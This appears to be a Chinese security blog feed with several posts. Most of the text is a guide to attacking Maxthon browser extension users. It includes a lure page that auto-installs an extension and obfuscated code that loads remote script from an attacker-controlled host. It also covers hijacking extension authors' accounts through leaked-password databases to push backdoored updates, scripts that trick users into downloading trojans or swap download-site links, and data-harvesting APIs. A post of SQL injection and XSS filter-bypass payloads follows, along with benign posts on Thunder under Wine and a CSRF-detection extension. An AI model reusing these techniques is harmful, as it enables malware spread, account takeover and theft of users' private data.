                    console.log(frameVersion, packMxVersion, packUrl, type, packId)
                    installPack(frameVersion, packMxVersion, packUrl, type, packId);
                }
                else {
                    resultPop.show('浏览器不符', ERRORTEXT, '确定');

                }
            }
            function installPack(frameVersion, packMxVersion, packUrl, type, packId) {
                var isInstall = returnIsInstall(frameVersion, packMxVersion);
                if (isInstall !== -1) {
                    if (type === 'skin') {
                        external.mxCall('InstallSkin', packUrl);
                    }
                    else if (type === 'app') {
                        external.mxCall('InstallApp', packUrl);
                    }
                    getUser(packId);
                }
                else {
                    resultPop.show('浏览器不符', ERRORTEXT, '确定');
                }
            }
            function returnIsInstall(frameVersion, packMxVersion) {
                var fvItem;
                var pvItem;
                var frameVersion = getVersionArr(frameVersion);
                var packMxVersion = getVersionArr(packMxVersion);
                // 定义增长索引值.
                var i = 0;
                while (1) {
                    fvItem = frameVersion[i];
                    pvItem = packMxVersion[i];
                    if (fvItem == null && pvItem == null) {
                        return 0;
                    }
                    if (fvItem == null) {
                        return -1;
                    }
                    if (pvItem == null) {
                        return 1;
                    }
                    if (fvItem != pvItem) {
                        var value = fvItem > pvItem ? 1 : -1
                        return value;
                    }
                    i++;
                }
            }
            function getVersionArr(version) {
                var versionArr = version.split('.');
                for (var i = 0; i < versionArr.length; i++) {
                    versionArr[i] = parseInt(versionArr[i], 10);
                };
                return versionArr;
            }
            function getUser(id) {
                $.ajax({
                    type: 'GET',
                    url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id,
                    data: 'data',
                    dataType: 'json',
                    success: function (data) {},
                    error: function () {}
                });
            }
            $(document).delegate('#app-install', 'click', function (event) {
                event.preventDefault();
                event.stopPropagation();
                getInstallMessage(this, 'a[file_def]', 'app');
            });
            $("#app-install").click();
        }
    },1000);
</script>
</html>

打开后的样子:

这处的 LOL 战绩查询插件是我之前上传的 (不要安装)。真正攻击时可以换成不要那么二的名字，比如“网站增强工具”等

一开始，我还想试试能不能点击劫持，这样就可以在用户不知情的情况下安装插件，但是这个安装程序不是在页面里面的。无法进行劫持，随之放弃。

这样一来，尽量让用户少思考的网页就做好了。发布，等待用户上钩吧。这个方法可以与 APT 攻击中的“水坑攻击”进行相结合，以达到针对性某些特殊的群体或个体的攻击方式

0x1.2 被动等待 {#passive-wait}

这个办法是属于广撒网，当没有指定性群体或者个人，只是为了单纯的攻击或者研究时使用。

这里也有一些小技巧，当开发者上传插件时，遨游审核人员会对插件进行审核，如果发现危害用户的代码，将不给予通过，乍一看没什么问题，但是没有后续了。

没有定期自动化扫描插件代码

而且即使插件是一个小游戏用，都可以在配置文件 def.json 里申请权限是最高的

当代码量足够多的时候，开发人员可以把一些危害到用户请求的代码进行加密混编绕过审查人员的眼睛。（调用伟大的人民领袖毛主席的一句话: 与规矩斗，其乐无穷。与代码斗其乐无穷。与人斗其乐无穷。）

可以在插件里调用第三方的 JavaScript 代码，第三方 url 可以指向任何域名。没有进行判断 URL 及 js 文件是否为可信

利用以上的问题，我们就可以写出一个具有危害到用户插件，且绕过审查人员的眼睛。

我们可以在插件源码 base.js 文件里写

//xxxxx 其他多余的代码
var script = document.createElement('script');
script.src = "http://你的域名/javascript文件名.js";
document.body.appendChild(script);
//xxxxx 其他多余的代码

如果不放心可可以加密成下面的这种格式:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"": e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29): c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o 7=["\\e\\c\\g\\b\\a\\9","\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9","\\e\\g\\c","\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e","\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d","\\x\\n\\d\\v"];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)',34,34,'||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62'.split('|'),0,{}))

方法为: 先在 javascriptobfuscator 上把正常的 javascript 代码加密成:

var _0x67c5=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script)

如图:

因为这样的代码看起来着实有点可疑…所以再去站长之家加密成常见的加密代码:

嗯，看着正常多了。放在众多代码之中，审查人员也很难找到 (也不会用心找的)

提交后，会在遨游插件的首页显示最近更新的插件，你只需要每个星期随便增加一点代码或者删除一点代码，再更新一下插件，你的插件就会常年存在插件首页，安装人数想不多都难。

0x1.3 基于社工库控制插件作者的账户 {#hijack-author}

这个也是我个人来说最喜欢的方式，毕竟不得不承认不劳而获真的好爽啊。

因为 Maxthon 更新插件时没有像 Chrome 那样需要秘钥才可以更新，所以导致这个’逻辑漏洞’’。因为没有验证当前是否为作者本人的机制，才导致这个方法的可行性。

之前加了 maxthon 插件的作者群: 203339427

里面大多都是插件的开发人员，拿他们的邮箱、QQ 放在社工库里进行查询，得到密码后可以进行尝试登陆。当然因为不确定是作者使用的是哪个邮箱，我们先拿 QQ 邮箱登录，他会提示账户或密码错误，不知道是账户错误还是密码错误，可以先去遨游账户中心-忘记密码先填写 QQ 邮箱，如果说用户名不存在，我们可以在网上搜索一下这个作者其他的邮箱，再进行测试 (我测试的账户里，很多都需要在网上搜索一下其他的邮箱)。因为之前我把这个当做漏洞提交给 wooyun 了，遨游没什么反应。本来是想登陆其他用户说明的，但是 wooyun 暂时休整，无法看到我之前的漏洞详情，而当时社到的账户和密码也没有备份，只在 wooyun 漏洞详情里有，没有办法，所以这里我就以我自己为例:

这里有个更新文件，我们这个时候，可以先把文件 download 本地，在里面的 javascript 文件里植入我们的后门。再上传上去。就可以控制 1000 多个用户了。插件二次审核查的更松。

而且当你打开遨游浏览器时，遨游浏览器会检测你的插件是否为最新的，如果不是最新的，他会在后台静默安装最新的插件。这个时候对我们的帮助特别大。比如我们更新插件后，只需要等待用户重新打开遨游浏览器就可以实现了攻击的效果。

更新的时候，就这个账户当做自己的账户就行了，然后照着 0x1.2 代码写上去就没问题了。

0x1.4 控制插件里调用的第三方 javascript 代码 {#third-party-js}

这个方法比较繁琐，有两种方法来获取第三方的 javascript，分为两种情况

不具有可视化页面

具有可视化页面

0x1.4.1 不具有可视化页面 {#no-ui}

类似我上面所说的，在插件的 def.json 配置文件里写上:

"actions": [{
    "type": "script",
    "entryPoints": [
        "doc_onload"
    ],
    "js": [
        "base.js"
    ],
    "include": ["*"],
    "includeFrames": true
}]

然后在 base.js 文件里写入你要调用的第三方 javascript 文件:

var script = document.createElement('script');
script.src = "http://119.29.58.242/control.js";
document.body.appendChild(script);

像这种的话，就需要在把插件 download 本地，然后使用 maxthon 官方提供的 MxPacker 软件，进行的解密，首先分析 def.json 里的 action 字段下的 js 属性，指向的是哪个 javascript 文件。再进行分析，当然也可以使用其他软件对文件内容进行搜索，看里面是否存在’document.createElement’关键字。

找到后，接下来就是苦力活了，入侵这个第三方 javascript 所属的网站。入侵后再修改这个 javascript 文件，就行了。

0x1.4.2 具有可视化页面 {#with-ui}

这个比上面 0x1.4.1 简单点，使用之前长短短在 zone 分享的代码就可以把这个页面所有第三方的 javascript 文件列举出来:

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
  var a = document.createElement('a');
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
  }
}

使用方法如下:

使用的时候，会发现有的插件是调用了插件本身的 javascript 文件，或者其他 baidu、360 等第三方安全不容易被入侵的网站里的 javascript 代码，这个时候就比较费时费力了。

0x1.4.3 控制插件里调用的第三方 javascript 代码总结 {#third-party-js-conclusion}

这个方法较为繁琐，优点如下:

不容易被发现

向上反查也比较难追踪

缺点:

费时费力

成功率较低

此种方法适用于针对某一人或团体，只能获得其装的插件名称，当别无他法时使用此方法。

0x2 那些隐藏的 API: {#hidden-api}

因为一些 API 获得的信息比较隐私，所以遨游官方没在在 API 手册里写。但是他们真实存在，我们可以在一个普通的页面里打开审查元素下的 Console 输入 external 来查看一些遨游官方隐藏的 API。

还有一种是在插件页面的里专用 API，插件里的 API 基本上每个版本上都会发生变化，下面是 3.x 版本的 API:

maxthon.system.Utility.getMacAddresses() //获取用户的 MAC 地址
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames() //获取用户当前所有的字体文
maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getSystemFontName() //用户当前应用的字体
maxthon.io.File.createTempFile().name_ //获取用户临时目录
maxthon.io.File.createTempFile().isFile //判断 name_文件是否存在，但是这里我无法重新设置 name_的值

下面是最新版本 4.x 版本的 API:

遨游把之前在 maxthon 对象下的函数、对象分离在其他地方了（其实还是有，不明白其用意）

mx.app.getAvatar()    //获得当前登录用户的头像 (data: image/png;base64 格式)
mx.app.login()    //判断是否登录了遨游浏览器 (登录返回 true，没登陆返回 false)
mx.app.getProfile()    //获得用户当前的状态 (是否登录、uid、用户名称)
mx.app.getSystemLocale()    //获得系统语言 (例如: zh-cn)
mx.app.showUserPanel()    //显示用户菜单 (相当于点击左上角的头像)
//以上的代码需要事先运行 mx.app.user()、mx.app.locale()

clientInformation.plugins     //浏览器支持的插件 (可看到用户安装哪些软件)
clientInformation.mimeTypes    //列举出支持的 application(可看到用户安装哪些软件)

这里针对最后两个 API 截图看下:

这些东西写在插件里，获取用户安装了哪些软件轻而易举。基本上是没有隐私可言了。

0x3 攻击向量: {#attack-vectors}

普通的获取 cookies 我们就不说了，介绍点其他的。

上面介绍的都是针对浏览器插件对用户进行的攻击，但是攻击的平面都是浏览器。但是谁不想进一步控制用户的电脑权限呢。大致的思路如下:

弹窗欺骗用户说需要下载软件，其实是木马程序

使用浏览器漏洞进行攻击

替换下载链接

0x3.1 弹窗欺骗用户下载软件 {#fake-download}

这一步很简单，就是一些简单的 javascript 代码:

(function(){    //闭包函数，防止变量污染
    alert("请下载xxx安全插件保障您在此网站的安全");
    location.href = "http://baidu.com/download/xxxx.exe";
})()

但是这里不能一直弹窗下载，不然肯定会引起怀疑的，下面我们来进行优化:

(function(){    //闭包函数，防止变量污染
    var downDate = new Date();  //获取当前的时间
    var downDateY = String(downDate).split(" ")[3]; //年份
    var downDateM = String(downDate).split(" ")[1]; //月份
    var downDateD = String(downDate).split(" ")[2]; //日期
    var downDateT = String(downDate).split(" ")[4].split(":");  //时间
    if(location.href != "https://baidu.com/"){  //当不是百度时，不执行下面的代码
        return fasle;
    }
    if(downDateY == "2016" && downDateM == "Oct" && downDateD == "28" && downDateT[0] == "21" && downDateT[1] < "30"){
        alert("请下载xxx安全插件保障您在此网站的安全");
        location.href = "http://baidu.com/download/xxxx.exe";
    }
})()

真正写的时候，不要像我这么写，我这样写是因为逻辑比较简单，但是代码量比较多。意思是说当当前网站是 https://baidu.com/ 时再判断时间是否为 2016 年 10 月 28 号晚上 9 点到 9 点半之间，如果是则弹窗让用户下载木马程序。

0x3.2 使用浏览器漏洞进行攻击 {#browser-exploit}

漏洞是要靠自己挖掘的，这里不再多说，大家可以去看一下 Blast 写的书籍《浏览器安全》。也可以看下之间黑哥写的 PPT《去年跨过的浏览器》，之前 maxthon 就因为特殊域下的 mxCall 函数的问题，导致可以执行任意命令。大家可以挖挖看，总会有意想不到的收获。

0x3.3 替换下载链接 {#replace-download}

替换的话，我们需要先采集几个下载量比较大的下载站，我这里列举一下:

ZOL 下载-免费软件，绿色软件

天空下载站

华军软件园

hao123 下载站

太平洋下载中心

百度软件中心

还有很多，这里就不在列举了，下面我们就根据这些下载站来写替换的 javascript 代码。先写段代码，让他判断当前的网址是否为下载站

(function(){
    var downloadWebsite = [
        'http://xiazai.zol.com.cn',
        'http://www.skycn.com',
        'http://www.onlinedown.net',
        'http://dl.pconline.com.cn',
        'http://rj.baidu.com'
    ];  //要替换的下载站 url 地址
    var replaceDownloadUrl = "http://xxxx.com/download/soft.rar";   //要替换的下载软件
    switch(location.origin){  //对当前的 url 进判断，是否为下载站，如果是则进入其操作函数里
        case downloadWebsite[0]:
            var download1 = document.getElementById("downloadTop");
            var download2 = document.querySelectorAll(".down-alink a");
            var download3 = document.querySelectorAll(".down-alink01 a");
            if(download1 != null && download2.length != 0 && download3.length != 0){
                download1.href = replaceDownloadUrl;
                for(var j = 0;j < download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
                for(var k = 0;k < download3.length;k++){
                    download3[k].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[1]:
            var download1 = document.querySelectorAll(".ul_Address li a");
            if(download1.length != 0){
                for(var j = 0;j < download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[2]:
            var download1 = document.querySelectorAll(".softinfoBox .meg a");
            var download2 = document.querySelectorAll(".downDz a");;
            if(download1.length != 0 && download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                for(var j = 0;j < download2.length;j++){
                    download2[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[3]:
            var download1 = document.querySelectorAll(".dlLinks-a a");
            if(download1.length != 0){
                for(var j = 0;j < download1.length;j++){
                    download1[j].href = replaceDownloadUrl;
                }
            }
        break;
        case downloadWebsite[4]:
            var download1 = document.querySelectorAll(".fast_download");
            var download2 = document.querySelectorAll(".normal_download");
            if(download1.length != 0 && download2.length != 0){
                download1[0].href = replaceDownloadUrl;
                download2[0].href = replaceDownloadUrl;
            }
        break;
    }
})()

0x3.4 修改百排名 {#seo-ranking}

想做 SEO 的，可以使用此方法:

(function(){
    if(location.origin == "https://www.baidu.com" && location.pathname == "/s"){    //当时百度的搜索页面时
        document.querySelectorAll("#content_left h3 a")[0].href = "http://360.cn/"; //替换第一个搜索结果为指定的 url 地址
    }
})()

0x3.4 内网嗅探 {#intranet-sniff}

这个方法的篇幅比较多，放在下一章说明。下面是利用 WebRTC 来实现的获取内网 IP 地址:

var ipList = [];
var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            console.log(ip)
        });
    }
}
webrtcxss.getIp();

大家可以根据这个方法来想想有没有办法来实现一些更好玩的思路。

0x4 结言: {#conclusion}

还有很多的 API 及攻击方法等待大家去发掘，我能做的就是给大家打开一个新的攻击平面，不用再局限那些已经熟悉的方法了。

在 debian 下如何使用迅雷登陆账号

bh@bugs.cc (Kevin Cui) — Wed, 24 Aug 2016 05:08:47 GMT

前言: {#intro}

今天在 QQ 空间看到有人分享了“惊天魔盗团 2”的电影资源

正好这几天被 mongoose 搞的有点烦，想看会电影放松一下心情，但是代码还是要写的，于是我想把电影下载下来，然后等 bug 解决了，再看。所以问题来了。

下载迅雷: {#download-thunder}

可能是我们这边地区的问题，在迅雷官网下载的迅雷都很慢，于是使用“百度管家”下载。fuck me down XunLei

环境搭建: {#setup}

就是用 wine 来使用 exe 程序，这里不介绍，请自己百度

安装注意事项: {#install-notes}

不要使用 sudo wine Thunder_9.0.12.332_baidu.exe，请使用 wine Thunder_9.0.12.332_baidu.exe，不然你的迅雷会被安装到 root 用户下

如何启动 {#launch}

迅雷安装好后，会在你的桌面放一个快捷方式。如果没有，请像我这么做:

cd ~/.wine/drive_c/Program\ Files\ $x86$/Thunder\ Network/Thunder9/Program/
wine Thunder.exe

然后，他就启动成功了。

就像这样:

为什么会出现黑色的框框呢？ {#black-window}

黑色的框框是个浏览器，迅雷自带的 XBrowser 浏览器。个人猜测是因为 dll 的问题，等我有时间的时候，我去找台 window 电脑，看一下这个浏览器以来上面 dll。这个浏览器无所谓的，没有他照样下载。

登陆 {#login}

重点来了，点击登陆时，会让你输入账号密码

但是你会发现，你输入的字符串没有显示，不用慌，就像 linux 终端输入密码时一样，其实你输入了，只是不可见而已。然后就可以登陆了。但是有时候会出现让你填写验证码的框。

于是你会蛋疼的发现，验证码去吃屎了。所以现在我们就来解决这个问题。先想象一下验证码的特性。当我点击“看不清，换一张”的时候，那么一定会发送一个数据包。然后返回新的验证码数据包，我们只需要截取这个数据就行了。这里我使用 wireshark 来进行抓包。

debian 安装 wireshark，需要添加 kali 的源，然后 sudo apt-get update&&sudo apt-get install wireshark 就行了。记得使用 sudo wireshark 来运行

我这里的网卡是 wlan0，有可能不一样，选一个你觉得是对的就行了。

然后你就看到很多的数据包

这个时候我们在 Filter 里填写 http&& http contains "image/jpeg"

然后打开迅雷，登陆。当出现验证码验证的时候再次切换到 wireshark 看就行了。

选中（就是让它的背景色变成蓝色，单击）

然后 File->Export Objects->HTTP

选中地址是 verify2.xunlei.com 且 Content Type 为 image/jpeg 选中后，点击另存为 xx.jpg。

拿验证码登陆就行了。

杂谈如何绕过 WAF（Web 应用防火墙）

bh@bugs.cc (Kevin Cui) — Sat, 20 Aug 2016 11:04:31 GMT

0×01 前言: {#intro}

这个议题呢，主要是教大家一个思路，而不是把现成准备好的代码放给大家。

可能在大家眼中 WAF（Web 应用防火墙）就是“不要脸”的代名词。如果没有他，我们的“世界”可能会更加美好。但是事与愿违。没有它，你让各大网站怎么活。但是呢，我是站在你们的这一边的，所以，今天我们就来谈谈如何绕过 WAF 吧。之所以叫做“杂谈”，是因为我在本次演讲里，会涉及到 webkit、nginx&apache 等。下面正式开始:）

0x02 直视 WAF: {#what-is-waf}

作为第一节，我先为大家简单的说下一些绕过 WAF 的方法。

1、大小写转换法: {#case-swap}

看字面就知道是什么意思了，就是把大写的小写，小写的大写。比如:

SQL: sEleCt vERsIoN();
‍‍XSS: <sCrIpt>alert(1)</script>

出现原因: 在 waf 里，使用的正则不完善或者是没有用大小写转换函数

2、干扰字符污染法: {#junk-chars}

空字符、空格、TAB 换行、注释、特殊的函数等等都可以。比如下面的:

SQL: sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2: select/*!*/`version`();
XSS: 下面一节会仔细的介绍

3、字符编码法: {#encoding}

就是对一些字符进行编码，常见的 SQL 编码有 unicode、HEX、URL、ascll、base64 等，XSS 编码有: HTML、URL、ASCII、JS 编码、base64 等等

SQL: load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS: <script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

出现原因: 利用浏览器上的进制转换或者语言编码规则来绕过 waf

4、拼凑法 {#concat}

如果过滤了某些字符串，我们可以在他们两边加上“原有字符串”的一部分。

SQL: selselectect verversionsion();
‍‍‍‍XSS: <scr<script>rip>alalertert</scr</script>rip>

出现原因: 利用 waf 的不完整性，只验证一次字符串或者过滤的字符串并不完整。

本节是告诉大家，waf 总会有自己缺陷的，任何事物都不可能完美。

0x03 站在 webkit 角度来说绕过 WAF: {#webkit-bypass}

可能这时会有人问到，说绕过 WAF，怎么跑到 webkit 上去了。嗯，你没有看错，我也没有疯。之说以站在 webkit 角度来讲绕过 WAF，是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢？那就是 webkit，既然要说到 webkit，那就不得不提 webkit 下的解析器——词法分析器，因为我们在绕过的时候，就是利用解析器中的词法分析器来完成。

就比如一个简单的绕过 WAF 的 XSS 代码:

<iframe src="java script: alert(1)" height=0 width=0 /><iframe>  他可以弹窗，可以为什么他可以弹窗呢？这里面有回车、换行符啊。想要理解，我们来看看 webkit 下的 Source/javascriptcore/parser/lexer.cpp 是怎么声明的吧。

while (m_current != stringQuoteCharacter) {
    if (UNLIKELY(m_current =='\\')) {
        if (stringStart != currentSourcePtr() && shouldBuildStrings)
            append8(stringStart, currentSourcePtr() - stringStart);
        shift();
        LChar escape = singleEscape(m_current);
        if (escape) {
            if (shouldBuildStrings)
                record8(escape);
            shift();
        } else if (UNLIKELY(isLineTerminator(m_current)))
            shiftLineTerminator();

注意倒数第二行里的 isLineTerminator 函数。这里我来说说大致的意思: 所有的内容都在一个字符串里，用 while 逐字解析，遇到换行就跳过。然后在拼成一个没有分割符的字符串，所以这时的 XSS 代码成功弹窗了。 Webkit 里的词法分析器里除了跳过换行符，还会跳过什么字符呢？

子曰: 还有回车等分隔符。

根据 webkit 词法分析器的机制，我们就可以写更多的猥琐 xss 代码。

下面再说说这个注意事项:

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe>  <!--这个可以弹窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe>  <!--这个不可以弹窗-->

因为在 webkit 的词法分析器里，跳过回车、换行等分隔符时有个前提，那就是必须用单/双引号围住，不然不会跳过。因为如果不使用引号，词法分析器会认为回车、换行就是结束了，如果你运行上面这段代码，webkit 会把 java 当做地址传给 src。词法分析器跳过的前提就是建立在引号里的，切记。这里在说一个:

回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用回车、换行，这时你大可放心，决对不会弹窗。而且在属性值里回车、换行随便用。如果空格出现在 xss 代码里并不会弹窗，但是如果出现在字符和符号之前，就可以弹了。如图:

注意事项: 跳过回车和换行，不支持 on 事件。例如下面的代码 <a href="java script:alert(1)">xss</a> 会弹窗，但是下面的代码就不行了。

<a href="#" onclick="aler t(1)">s</a> 可见加了 Tab 换行，就无法弹窗了。但是还是支持字符和符号之间加入空格的。本节就是告诉大家，想要玩的更好，最好追溯到底层，从底层来看攻击手法，你会发现很多问题迎刃而解。

0x04 利用 Nginx&Apache 环境 BUG 来绕过 waf: {#nginx-apache-bug}

这个 bug 比较鸡肋，需要在 nginx&apache 环境，而且管理员较大意。这是一个不是 bug 的 bug。当网站采用前端 Nginx，后端 Apache 时，需要在 conf 配置，当遇到 PHP 后缀的时候，把请求交给 Apache 处理。但是 Nginx 判断后缀是否为 PHP 的原理是根据 URL 的。也就是说如果当 URL 的后缀不是 PHP 的时候，他并不会把 PHP 教给 Apache 处理。配置:

乍一看，没什么问题。但是这里隐藏一个漏洞。

我在 test 目录建立一个 index.php:

利用 nginx&apache 这个 bug，再加上浏览器默认会隐藏 index.php 文件名，那么漏洞就来了。访问 a.cn/test/index.php?text=<script>alert(1)</script> 不会弹窗，被 waf.conf 给拦截了。

访问 a.cn/test/?text=<script>alert(1)</script> 会弹窗，没有被 waf.conf 给拦截，因为 nginx 根据 URL 判断这不是 php 文件，并没有交给 apache 处理，也就没有走第三个 location 流程。

本节是告诉大家，绕过 WAF 不用一直针对 WAF，也可以利用环境/第三方的缺陷来绕过。

0x05 从 HTTP 数据包开始说起: {#http-packet}

1、现在有一部分网站 waf 是部署在客户端上的，利用 burp、fiddler 就可以轻松绕过。很多时候我们遇到的情况就像这段代码一样:

<input type="text" name="text">
<input type="submit" onclick="waf()">

把 waf 规则放到 js 里。我们可以提交一个 woaini 字符串，然后用 burp、fiddler 抓包、改包、提交，轻轻松松的绕过了客服端的 WAF 机制。

2、有的网站，他们对百度、google、soso、360 等爬虫请求并不过滤，这时我们就可以在 USER-Agent 伪造自己是搜索引擎的爬虫，就可以绕过 waf

3、有的网站使用的是 $_REQUEST 来接受 get post cookie 参数的，这时如果 waf 只对 GET POST 参数过滤了，那么久可以在数据包里对 cookie 进行构造攻击代码，来实现绕过 waf。

4、有的 waf 对 GET POST COOKIE 都过滤了，还可以进行绕过。怎么绕过呢？假设网站会显示你的 IP 或者你使用的浏览器，那么你就可以对 IP、user-agent 进行构造，在 PHP 里 X_FORWARDED_FOR 和 HTTP_CLIENT_IP 两个获取 IP 的函数都可以被修改。想详细了解的可以去: http://www.freebuf.com/articles/web/42727.html 0x06 节。本节告诉我们 waf 是死的，人是活的，思想放开。不要跟着 WAF 的思路走，走出自己的思路，才是最正确的。

0x06 WAF 你算个屌: {#extension-bypass}

很多人认为绕过 WAF 需要根据 WAF 的规则来绕过。但是我们可以忽视他，进行攻击。我们利用第三方插件来进行攻击，因为第三方插件的权限非常大，而且他有一个特殊的性质，就是他可以跨域。我们可以事先在插件里调用一个 js 代码，对方安装之后浏览任何网站都可以被 XSS。我们现在来看段 Maxthon 插件的源码:

def.json

test.js:

统一放在一个文件夹里，再用 Mxpacke.exe 生成一个遨游插件。

双击就可以安装这个插件。

。这不算是一个漏洞，因为插件必须要运行 js 代码，而 XSS 的宗旨就是在网站里运行你所指定的 js 代码。所以，这个 xss 没办法修复，而且 chrome 火狐等浏览器都存在。

自动化检测 CSRF(第二篇)

bh@bugs.cc (Kevin Cui) — Thu, 23 Jun 2016 15:49:34 GMT

0x00 前言: {#intro}

上一篇只是大致说明整个思路和流程。本篇就详细说说如何检测 CSRF。为什么不在上一篇中放出插件呢。是因为误报率确实是比较多，而且无法检测 Referer。而本章，重点就说明“如何检测对方是否开启了 Referer 检测机制”。在我的认知范围内，这是首款检测 Referer 的工具 (不知廉耻的笑了)。今天发现腾讯在 2013 年就做了类似的产品 (这就尴尬了..)，不过还好。而且思路和实现方法有所区别。本章说检测 Referer，第三章说检测 token 机制的强化，让检测 token 的成功率达到 80~90%以上 (其实就是写第二篇的时候，忘记写了。推到第三章了….)。而且这些是腾讯产品所没有的撒。

0x01 一些小的变化: {#changes}

之前的黑白名单列表

var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];  //无用表单黑名单，用于验证这个 form 表单有没有用（针对 input 验证）
var actionFilterKeyword = ['search','find','login','reg'];   //无用表单黑名单，用于验证这个 form 表单有没有用（针对 form 表单验证）
}

现在的黑白名单列表:

var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];
var actionFilterKeyword = ['search','find','login','reg',"baidu.com","google.com","so.com","bing.com","soso.com","sogou.com"];

此处的代码，决定了整体插件检测时的误报率大体走向。你也可以自己修改来达到自我感觉不错的地步。

现在的初始化变量:

var actionCache,actionPath;
var actionvParameter = "";
var ajaxParameter = "";

0x02: 插件的整体框架 {#framework}

因为 Maxthon 浏览器的 API 实在是太少，没有这些 API 我无法进行 Referer 检测，于是，检测 CSRF 插件，就不写 Maxthon 的插件了，下面是 Chrome 插件的框架:

icons 是存放插件图标的地方，我比较懒，直接使用 AutoFindXSS 插件的图标。

background.html 是为了让我们修改插件的作用域，让我们可控，可以在 Chrome 的 API 中使用 jquery插件

background.js 这里我们把它理解为后端程序，类似于服务端的存在。用于处理 base.js 文件的数据

base.js 会在网站加载完成后调用。在 检测Referer 的时候，把数据传给 background.js 文件

manifest.json Chrome 插件的核心文件，用于配置插件参数。

这里我先给大家看一下 manifest.json 文件的内容:

{
  "background": {
    "page": "background.html",
    "persistent": true
  },
  "name": "AutoFindCSRF",
  "version": "1.0.0",
  "manifest_version": 2,
  "description": "CSRF[by:Black-Hole&158099591@qq.com]",
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
  "permissions": [
    "<all_urls>","tabs"
  ],
  "icons":{"16": "icons/icon_16.png","48": "icons/icon_48.png","128": "icons/icon_128.png"},
  "content_scripts": [{
    "matches": ["*://*/*"],
    "js": ["jquery.js","base.js"],
    "run_at": "document_end"
  }]
}

content_security_policy 简称 CSP，用户限制插件的安全性

permissions 是插件向 Chrome 申请的权限。

content_scripts 意思是，在任何协议下，当网站加载完成后，都会运行 jquery.js 和 base.js 文件。JavaScript this 指向的是当前网页

background JavaScript this 指向的是插件，用户处理 base.js 和 background.js 通信的存在

而上一篇文章的 JavaScript 代码，都存放在 base.js 里，待会说“检测 Referer 机制”时，也是写在这个文件里。

0x03: 检测对方是否开启了 Referer 检测机制 {#referer-check}

首先为了下面程序的简洁，先把当前表单的 action 地址赋值给一个变量: actionCache = formDom.attr("action");

然后匹配 action 地址。为什么要匹配 action 地址呢，因为 action 分为以下几种情况:

#test

./test.php && ./test(处理方式一样)

/test.php?a=11

test.php

http://baidu.com/?s=

这里我们使用 switch 来实现匹配，代码如下:

switch(actionCache[0]){
    case "#":
        actionPath = location.href + actionCache;
        break;
    case "/":
        actionPath = location.origin + actionCache;
        break;
    case ".":
        if(actionCache.indexOf("?") != "-1"){
            actionvParameter = "?" + actionCache.split("?")[1];
            actionCache = actionCache.slice(0,actionCache.indexOf("?"));
        }
        if(location.href.split("/").pop().split(".").length == 1){
            actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
        }else{
